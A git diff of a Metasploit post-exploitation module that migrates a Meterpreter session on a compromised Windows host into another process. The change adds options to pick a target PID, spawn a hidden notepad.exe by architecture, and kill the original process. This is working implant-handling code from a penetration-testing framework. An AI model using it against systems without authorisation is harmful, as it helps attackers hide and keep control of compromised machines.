diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 8336c1debe..f4d5862364 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -12,17 +12,14 @@ require 'msf/core' require 'rex' - class Metasploit3 < Msf::Post - - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Process Migration', - 'Description' => %q{ This module will migrate a Meterpreter session from one process to another. - A given process name can be given to migrate to or the module can spawn one - and migrate to that newly spawned process.}, + 'Description' => %q{ This module will migrate a Meterpreter session from one process + to another. A given process PID to migrate to or the module can spawn one and + migrate to that newly spawned process.}, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Version' => '$Revision$', @@ -31,60 +28,55 @@ class Metasploit3 < Msf::Post )) register_options( [ - OptBool.new('SPAWN', [ false, 'Spawn process to migrate to. If name for process not given notepad.exe is used.', false]), - OptString.new('NAME', [false, 'Name of process to migrate to.', nil]), - - + OptBool.new( 'SPAWN',[ false,'Spawn process to migrate to. If name for process not given notepad.exe is used.', true]), + OptInt.new( 'PID', [false, 'PID of process to migrate to.']), + OptBool.new( 'KILL', [false, 'Kill original process for the session.', false]) ], self.class) end # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") - server = client.sys.process.open - + server = session.sys.process.open + original_pid = server.pid print_status("Current server process: #{server.name} (#{server.pid})") target_pid = nil - if ! datastore['SPAWN'] - # Get the target process name - if datastore['NAME'] =~ /\.exe/ - target = datastore['NAME'] - else - target = "explorer.exe" - end - print_status("Migrating to #{target}...") - - # Get the target process pid - target_pid = client.sys.process[target] - - if not target_pid - print_error("Could not access the target process") - print_status("Spawning a notepad.exe host process...") - note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - target_pid = note.pid - end - else - if datastore['NAME'] =~ /\.exe/ - target = datastore['NAME'] - else - target = "notepad.exe" - end - print_status("Spawning a #{target} host process...") - newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) - target_pid = newproc.pid - if not target_pid - print_error("Could not create a process around #{target}") - raise Rex::Script::Completed - end + if datastore['SPAWN'] + print_status("Spawning notepad.exe process to migrate to") + target_pid = create_temp_proc + elsif datastore['PID'] + target_pid = datastore['PID'] end - # Do the migration - print_status("Migrating into process ID #{target_pid}") - client.core.migrate(target_pid) - server = client.sys.process.open - print_status("New server process: #{server.name} (#{server.pid})") + begin + print_good("Migrating to #{target_pid}") + session.core.migrate(target_pid) + print_good("Successfully migrated to process #{}") + rescue ::Exception => e + print_error("Could not migrate in to process.") + print_error(e) + end + if datastore['KILL'] + print_status("Killing original process with PID #{original_pid}") + session.sys.process.kill(original_pid) + print_good("Successfuly killed process with PID #{original_pid}") + end + end + + # Creates a temp notepad.exe to migrate to depending the architecture. + def create_temp_proc() + windir = client.fs.file.expand_path("%windir%") + # Select path of executable to run depending the architecture + if sysinfo['Architecture'] =~ /x86/ + cmd = "#{windir}\\System32\\notepad.exe" + else + cmd = "#{windir}\\Sysnative\\notepad.exe" + end + # run hidden + proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) + return proc.pid end end \ No newline at end of file